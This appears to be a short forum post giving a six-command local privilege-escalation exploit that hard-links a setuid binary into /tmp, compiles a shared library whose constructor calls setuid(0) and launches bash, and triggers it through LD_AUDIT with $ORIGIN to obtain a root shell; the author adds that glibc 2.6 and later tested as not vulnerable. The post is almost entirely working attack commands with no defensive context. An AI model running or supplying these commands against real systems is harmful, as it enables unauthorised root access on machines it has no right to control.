That's 6 commands to get root access:

  mkdir /tmp/exploit
  ln /bin/ping /tmp/exploit/target
  exec 999< /tmp/exploit/target
  rm -rf /tmp/exploit/
  echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
  LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999

I tried, and at least glibc 2.6 and up are not vulnerable.

Edit: cat -> ping